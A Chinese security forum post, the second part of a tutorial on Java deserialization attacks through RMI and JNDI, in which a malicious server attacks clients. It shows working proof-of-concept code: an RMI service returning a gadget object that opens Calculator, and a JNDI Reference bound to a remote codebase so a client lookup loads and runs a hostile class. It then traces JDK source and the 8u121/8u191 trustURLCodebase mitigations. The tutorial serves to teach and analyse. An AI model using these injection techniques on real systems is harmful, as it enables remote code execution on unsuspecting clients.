安全矩阵

 找回密码
 立即注册
搜索
查看: 6107|回复: 0

JAVA反序列化中 RMI JRMP 以及JNDI多种利用方式详解(中)

[复制链接]

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
发表于 2020-12-5 09:11:32 | 显示全部楼层 |阅读模式
  1. </blockquote></div><p><span tabindex="-1" contenteditable="false" data-cke-widget-wrapper="1" data-cke-filter="off" class="cke_widget_wrapper cke_widget_inline cke_widget_image cke_image_nocaption cke_widget_selected" data-cke-display-name="图像" data-cke-widget-id="12" role="region" aria-label=" 图像 小部件"><img data-cke-saved-src="https://img-blog.csdnimg.cn/img_convert/2e96a4d55411c3937d7f4455b5bef658.png" src="https://img-blog.csdnimg.cn/img_convert/2e96a4d55411c3937d7f4455b5bef658.png" data-cke-widget-data="{&quot;hasCaption&quot;:false,&quot;src&quot;:&quot;https://mmbiz.qpic.cn/sz_mmbiz_png/H6W1QCHf9dG3IRIwCQwibhggQLyM5Fp50P9EK1y9fFZVvLaQhWkZE2J6KpYCzg9vrF4gTZibMON9ib1PS4NT6LBRw/640?wx_fmt=png&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1&quot;,&quot;alt&quot;:&quot;&quot;,&quot;width&quot;:&quot;&quot;,&quot;height&quot;:&quot;&quot;,&quot;lock&quot;:true,&quot;align&quot;:&quot;none&quot;,&quot;classes&quot;:[]}" data-cke-widget-upcasted="1" data-cke-widget-keep-attr="0" data-widget="image" class="cke_widget_element" alt=""><span class="cke_reset cke_widget_drag_handler_container" style="background: url(&quot;https://csdnimg.cn/release/blog_editor_html/release1.6.19/ckeditor/plugins/widget/images/handle.png&quot;) rgba(220, 220, 220, 0.5); top: -15px; left: 0px; display: block;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" width="15" title="点击并拖拽以移动" height="15" role="presentation" draggable="true"></span><span class="cke_image_resizer" title="点击并拖拽以改变尺寸">​</span></span></p><p>
  2. </p><h1><strong>0x04  服务端攻击客户端</strong></h1><hr><h2>
  3. </h2><p>分析完了客户端对服务端的攻击,我们来看一下 服务端对客户端的攻击,根据第二章RMI流程源码分析我们看到了,服务端如果想要攻击客户端,那么利用点就存在客户端反序列话服务端的返回值的时候。这时候需要将环境稍微修改一下。</p><p>其实很简单,先修改服务端的代码,我们将IHello接口中sayHello方法需要的参数删除,然后将返回值类型由String修改成Person类型。</p><div class="blockcode"><blockquote>
  4. package com.rmitest.inter;

  5. import com.rmitest.impl.Person;

  6. import java.rmi.Remote;
  7. import java.rmi.RemoteException;

  8. public interface IHello extends Remote {
  9.     public Person sayHello()throws RemoteException;
  10. }
复制代码
HelloImpl也根据接口的要求进行修改
  1. package com.rmitest.impl;

  2. import com.rmitest.inter.IHello;
  3. import com.rmitest.weakclass.Weakness;

  4. import java.rmi.RemoteException;
  5. import java.rmi.server.UnicastRemoteObject;

  6. public class HelloImpl extends UnicastRemoteObject implements IHello {

  7.     public HelloImpl() throws RemoteException {

  8.     }

  9.     @Override
  10.     public Person sayHello() {
  11.         Weakness weakness = new Weakness();
  12.         weakness.setParam("open /Applications/Calculator.app");
  13.         weakness.setName("hack");
  14.         return weakness;
  15.     }
  16. }
复制代码


同客户端攻击服务端时一样,只不过这次变成了服务端这边的Weakness类需要继承Person类了。
然后客户端这边就修改完毕。
然后我们来修改rmiregistry这边的代码,同样先修改IHello接口,然后我们需要将Person类拷贝到rmiregistry这边,不过一般在生产环境中,rmiregistry和服务端一般都是在同一台机器统一个项目文件里,所以服务端可以访问的类rmiregistry同样也可以。
紧接着就是就该客户端这边的代码,同理Weakness类不再继承Person

    1. public class RMICustomer {
    2.     public static void main(String[] args) throws RemoteException, NotBoundException {
    3.         IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("Hello");
    4.         Person person = hello.sayHello();
    5.    
    6.     }
    7. }
    复制代码
    如此一来就可以实现通过服务端去攻击客户端
    根据之前的分析客户端在远程方法的调用过程中会在UnicastRef.invoke方法中对服务端返回的数据进行反序列化,看一下调用链

    如此一来服务端通过RMI攻击客户端的方式也就清晰了。

    0x05  服务端攻击客户端 2

    上一小节讲述的服务端攻击客户端的方式是通过返回值来进行操作的,这样的话利用面比较狭窄,那么有没有一种特别通用的利用方式呢?让客户端在lookup一个远程方法的时候能直接造成RCE,事实证明是有的。
    这里就要讲到一个特别的类javax.naming.Reference,下面是该类的官方注释
    1. /**
    2.   * This class represents a reference to an object that is found outside of
    3.   * the naming/directory system.
    4.   *<p>
    5.   * Reference provides a way of recording address information about
    6.   * objects which themselves are not directly bound to the naming/directory system.
    7.   *<p>
    8.   * A Reference consists of an ordered list of addresses and class information
    9.   * about the object being referenced.
    10.   * Each address in the list identifies a communications endpoint
    11.   * for the same conceptual object.  The "communications endpoint"
    12.   * is information that indicates how to contact the object. It could
    13.   * be, for example, a network address, a location in memory on the
    14.   * local machine, another process on the same machine, etc.
    15.   * The order of the addresses in the list may be of significance
    16.   * to object factories that interpret the reference.
    17.   *<p>
    18.   * Multiple addresses may arise for
    19.   * various reasons, such as replication or the object offering interfaces
    20.   * over more than one communication mechanism.  The addresses are indexed
    21.   * starting with zero.
    22.   *<p>
    23.   * A Reference also contains information to assist in creating an instance
    24.   * of the object to which this Reference refers.  It contains the class name
    25.   * of that object, and the class name and location of the factory to be used
    26.   * to create the object.
    27.   * The class factory location is a space-separated list of URLs representing
    28.   * the class path used to load the factory.  When the factory class (or
    29.   * any class or resource upon which it depends) needs to be loaded,
    30.   * each URL is used (in order) to attempt to load the class.
    31.   *<p>
    32.   * A Reference instance is not synchronized against concurrent access by multiple
    33.   * threads. Threads that need to access a single Reference concurrently should
    34.   * synchronize amongst themselves and provide the necessary locking.
    35.   *
    36.   * @author Rosanna Lee
    37.   * @author Scott Seligman
    38.   *
    39.   * @see RefAddr
    40.   * @see StringRefAddr
    41.   * @see BinaryRefAddr
    42.   * @since 1.3
    43.   */
    复制代码
    简单解释下该类的作用就是记录一个远程对象的位置,然后服务端将实例化好的Reference类通过bind方法注册到rmiregistry上,然后客户端通过rmiregistry返回的Stub信息找到服务端并调用该Reference对象,Reference对象通过URLClassloader将记录在Reference对象中的Class从远程地址上加载到本地,从而触发恶意类中的静态代码块,导致RCE
    我们使用JDK 7u21作为环境来进行该利用方式的深入分析
    首先看下服务端的代码

    1. public class RMIProvider {
    2.     public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
    3. //TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可
    4.         Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
    5.         ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
    6.       //尝试使用JNDI的API来bind,但是会报错
    7. //        Context context = new InitialContext();
    8. //        context.bind("refObj", refObjWrapper);
    9.         Registry registry = LocateRegistry.getRegistry(1099);
    10.         registry.bind("refObj", refObjWrapper);
    11.     }
    12. }
    复制代码
    可以看到在实例化Reference对象的时候会传递三个参数进去,这三个参数分别是
    className
    包含此引用所引用的对象的类的全限定名。(ps: 就是恶意类的类名或者全限定类名,经过测试该参数不是必须,为空也行,关键在于第二个参数 也就是classFactory)
    classFactory
    包含用于创建此引用所引用的对象的实例的工厂类的名称。初始化为零。(ps: 第二个参数很重要 一定要写恶意类的全限定类名)
    classFactoryLocation
    包含工厂类的位置。初始化为零。(ps: 也就是恶意类存放的远程地址)
    接下来就来跟入源码看一看

    1. public Reference(String className) {
    2.     this.className  = className;
    3.     addrs = new Vector();
    4. }
    5. ........
    6.     public Reference(String className, String factory, String factoryLocation) {
    7.         this(className);
    8.         classFactory = factory;
    9.         classFactoryLocation = factoryLocation;
    10.     }
    复制代码
    实例化Reference期间就只进行以上这些操作
    实例化ReferenceWrapper的时候同样只进行了简单的赋值操作

    1. public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
    2.     this.wrappee = var1;
    3. }
    复制代码
    接下来就是通过调用bind方法来将ReferenceWrapper对象注册到rmiregistry中。客户端bind Reference过程结束接下来看rmiregistry这边
    这里呢因为 jdk7u21 和 jdk 8u20两个版本在调试的时候无法在RegistryImpl_Skel的dispatch方法上拦截断点所以 暂时采用jdk 8u221版本来进行演示
    同绑定一个正常的远程对像的差别不大只不过绑定一个正常的远程对象的时候,rmiregistry反序列化服务端传递来的结果是这样的

    而绑定Reference的时候rmiregistry反序列化服务端传递来的结果是这样的

    可以看到最终注册完成后,二者的区别

    普通的远程对象是以一个Proxy对象的形式存在,Reference则是以ReferenceWrapper_Stub对象的形式存在
    接下来来看客户端调用Reference这个远程对象的过程,客户端的代码演示环境为jdk 8u20
    首先看下客户端的代码

    1. public class RMICustomer {
    2.     public static void main(String[] args) throws NamingException {
    3.       //使用JNDI的方式来lookup远程对象  
    4.       new InitialContext().lookup("rmi://127.0.0.1:1099/refObj");
    5.     }
    6. }
    复制代码
    其实jndi的InitialContext().lookup() 底层和rmi自己的LocateRegistry.getRegistry().lookup()一样都是调用了RegistryImpl_Stub.lookup()方法但是jndi在此基础上又做了自己的封装,例如在处理rmiregistry返回的ReferenceWrapper_stub对象时,二者的处理方式就不相同。
    rmi无法处理ReferenceWrapper_stub对象,而jndi在接收了rmiregistry返回的ReferenceWrapper_stub对象后,结束当前lookup方法,在其上一层的lookup方法中也就是RegistryContext.lookup()方法里会对返回的ReferenceWrapper_stub进行处理
    来观察下RegistryContext.lookup()方法的具体内容

    1. public Object lookup(Name var1) throws NamingException {
    2.     if (var1.isEmpty()) {
    3.         return new RegistryContext(this);
    4.     } else {
    5.         Remote var2;
    6.         try {
    7.           //调用RegistryImpl_Stub.lookup()方法
    8.             var2 = this.registry.lookup(var1.get(0));
    9.         } catch (NotBoundException var4) {
    10.             throw new NameNotFoundException(var1.get(0));
    11.         } catch (RemoteException var5) {
    12.             throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
    13.         }
    14.         //反序列化的ReferenceWrapper_stub对象在该方法中被处理
    15.         return this.decodeObject(var2, var1.getPrefix(1));
    16.     }
    17. }
    复制代码
    接下来再跟进decodeObject()方法之后


      1. private Object decodeObject(Remote var1, Name var2) throws NamingException {
      2.     try {
      3.       //判断返回的ReferenceWrapper_stub是否是RemoteReference的子类,结果为真,返回ReferenceWrapper_stub中的Reference对象
      4.         Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
      5.       //接着对Reference对象进行操作
      6.         return NamingManager.getObjectInstance(var3, var2, this, this.environment);
      7.     } catch (NamingException var5) {
      复制代码
      NamingManager.getObjectInstance()方法就是处理Reference对像并导致RCE的关键了


      1. public static Object
      2.     getObjectInstance(Object refInfo, Name name, Context nameCtx,
      3.                       Hashtable<?,?> environment)
      4.     throws Exception
      5. {

      6.     ObjectFactory factory;
      7. ......
      8.     //判断并接收Reference对象
      9.     Reference ref = null;
      10.     if (refInfo instanceof Reference) {
      11.         ref = (Reference) refInfo;
      12.     } else if (refInfo instanceof Referenceable) {
      13.         ref = ((Referenceable)(refInfo)).getReference();
      14.     }

      15.     Object answer;

      16.     if (ref != null) {
      17.         String f = ref.getFactoryClassName();
      18.         if (f != null) {
      19.             // if reference identifies a factory, use exclusively
      20.             // 这里会将Reference对象传入并且同时传入全限定类名
      21.             factory = getObjectFactoryFromReference(ref, f);
      22.             if (factory != null) {
      23.                 return factory.getObjectInstance(ref, name, nameCtx,
      24.                                                  environment);
      25.             }
      26.             // No factory found, so return original refInfo.
      27.             // Will reach this point if factory class is not in
      28.             // class path and reference does not contain a URL for it
      29.             return refInfo;

      30.         } else {
      31.             // if reference has no factory, check for addresses
      32.             // containing URLs

      33.             answer = processURLAddrs(ref, name, nameCtx, environment);
      34.             if (answer != null) {
      35.                 return answer;
      36.             }
      37.         }
      38.     }

      39.     // try using any specified factories
      40.     answer =
      41.         createObjectFromFactories(refInfo, name, nameCtx, environment);
      42.     return (answer != null) ? answer : refInfo;
      43. }
      复制代码
      根据观察NamingManager.getObjectInstance()方法的内部实现,关键代码在于这一段 factory = getObjectFactoryFromReference(ref, f);
      跟进getObjectFactoryFromReference方法,

      1. static ObjectFactory getObjectFactoryFromReference(
      2.     Reference ref, String factoryName)
      3.     throws IllegalAccessException,
      4.     InstantiationException,
      5.     MalformedURLException {
      6.     Class<?> clas = null;

      7.     // Try to use current class loader
      8.     try {
      9.       //首先会尝试使用AppClassloder从本地加载恶意类,当然肯定是失败的
      10.          clas = helper.loadClass(factoryName);
      11.     } catch (ClassNotFoundException e) {
      12.         // ignore and continue
      13.         // e.printStackTrace();
      14.     }
      15.     // All other exceptions are passed up.

      16.     // Not in class path; try to use codebase
      17.     String codebase;
      18.     if (clas == null &&
      19.         //获取codebase地址
      20.             (codebase = ref.getFactoryClassLocation()) != null) {
      21.         try {
      22.           //该方法内会实例化一个URlClassloader 并从codebase中的地址中的位置去请求并加载恶意类
      23.             clas = helper.loadClass(factoryName, codebase);
      24.         } catch (ClassNotFoundException e) {
      25.         }
      26.     }

      27.     return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
      28. }
      复制代码
      可以看到真正负责从远程地址加载恶意类的是第二次的helper.loadClass(factoryName, codebase)
      该方法的具体实现如下

      1. public Class<?> loadClass(String className, String codebase)
      2.         throws ClassNotFoundException, MalformedURLException {
      3.     //获取当前上下文的Classloader 也就是AppClassloader
      4.     ClassLoader parent = getContextClassLoader();
      5.     //实例化一个URLClassloader  
      6.   ClassLoader cl =
      7.              URLClassLoader.newInstance(getUrlArray(codebase), parent);
      8.     //去远程加载恶意类
      9.     return loadClass(className, cl);
      10. }
      复制代码
      这就是服务端攻击客户端的另一种方式,虽然本质上还是有rmi去访问rmiregistry获取的Reference对象,但是由于JNDI对rmi进行了又一次的封装导致两者对Reference对象的处理不一样,所以客户端只有在使用JNDI提供的方法去访问rmiregistry获取的Reference对象时才会触发RCE。
      这个方法看上去好像很通用,在jdk 8u121版本之前确实如此,但是在jdk 8u121版本以及之后的版本中,此方法默认情况下就不再可用了,因为从jdk 8u121版本开始 增加了对com.sun.jndi.rmi.object.trustURLCodebase的值的校验,而该值默认为false,所以默认情况下想要通过Reference对象来远程加载恶意类的想法是行不通了,
      我们来看一下jdk 8u121版本究竟为了防止远程加载恶意类做了哪些改动
      首先在还没有通过rmi去到rmiregistry获取Reference对象之前,在RegistryContext这个类被加载的时候就执行了以下的静态代码

      1. static {
      2.     PrivilegedAction var0 = () -> {
      3.         return System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
      4.     };
      5.     String var1 = (String)AccessController.doPrivileged(var0);
      6.     trustURLCodebase = "true".equalsIgnoreCase(var1);
      7. }
      复制代码


      可以看到这里获取了com.sun.jndi.rmi.object.trustURLCodebase默认值为false
      然后当执行进decodeObject()方法,并且准备执行NamingManager.getObjectInstance()方法之前多了以下判断

      1. if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
      2.     throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
      3. } else {
      4.     return NamingManager.getObjectInstance(var3, var2, this, this.environment);
      5. }
      复制代码
      就是判断了com.sun.jndi.rmi.object.trustURLCodebase的值,由于该值为false所以就会跑出异常中止执行
      想要jdk 8u121版本能够正常远程加载就去要加上以下代码

      1. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
      复制代码
      这样就能又正常的RCE了
      但是在JDK 8u191及以后的版本中客户端lookup以前加上上面的代码之后,从新执行会发现不报错了,但是仍然无法RCE,这是为什么呢,我们继续跟着源码往下看
      在通过了RegistryContext中对com.sun.jndi.rmi.object.trustURLCodebase的判断并执行了NamingManager.getObjectInstance()方法之后,一路正常执行来到了关键的实例化URLClassloader并远程加载恶意类的最后一步,然后你就会发现这里变了

      1. public Class<?> loadClass(String className, String codebase)
      2.         throws ClassNotFoundException, MalformedURLException {
      3.   //此处有增加了一个对trustURLCodebase属性的一个判断,这个trustURLCodebase属性和RegistryContext类
      4.   //中的trustURLCodebase属性完全不同
      5.   if ("true".equalsIgnoreCase(trustURLCodebase)) {
      6.         ClassLoader parent = getContextClassLoader();
      7.         ClassLoader cl =
      8.                 URLClassLoader.newInstance(getUrlArray(codebase), parent);

      9.         return loadClass(className, cl);
      10.     } else {
      11.         return null;
      12.     }
      13. }
      复制代码

      我们来看下这个trustURLCodebase的值究竟是怎么获取的

      1. private static final String TRUST_URL_CODEBASE_PROPERTY =
      2.             "com.sun.jndi.ldap.object.trustURLCodebase";
      3.     private static final String trustURLCodebase =
      4.             AccessController.doPrivileged(
      5.                 new PrivilegedAction<String>() {
      6.                     public String run() {
      7.                         try {
      8.                         return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
      9.                             "false");
      10.                         } catch (SecurityException e) {
      11.                         return "false";
      12.                         }
      13.                 }
      14.             );
      复制代码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 16:58 , Processed in 0.016671 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表